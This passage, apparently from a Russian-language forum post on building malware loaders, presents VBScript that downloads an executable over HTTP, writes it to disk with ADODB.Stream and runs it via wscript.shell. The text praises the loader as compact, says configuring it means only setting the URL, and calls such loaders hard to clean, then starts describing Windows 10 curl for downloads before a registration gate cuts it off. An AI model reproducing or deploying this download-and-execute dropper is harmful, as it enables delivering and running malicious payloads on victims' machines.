set a = CreateObject("ADODB.Stream")

x.open "GET","http://localhost/putty.exe"
x.send()

if x.status = 200 THEN
    a.type = 1
    a.open()
    a.write(x.responseBody)
    a.saveToFile(q)
    a.close()
end if

CreateObject("wscript.shell").exec(q)

Как видно, код отличается высокой компактностью и простотой настройки. Настройка заключается всего лишь в прописывании нужного URL.
Недостаток заключается в том, что данный способ используется повсеместно и по этой причине такие лоадеры крайне тяжело чистить.

С появлением Windows 10 в стандартном наборе команд виндовс появилась утилита CURL. Та же самая утилита, что и в линуксах, один в один.
Эта утилита позволяет скачивать с http/https файлы и сохранять их по заданному пути.
Например, чтобы Скачать
View hidden content is available for registered users!
 
Сверху Снизу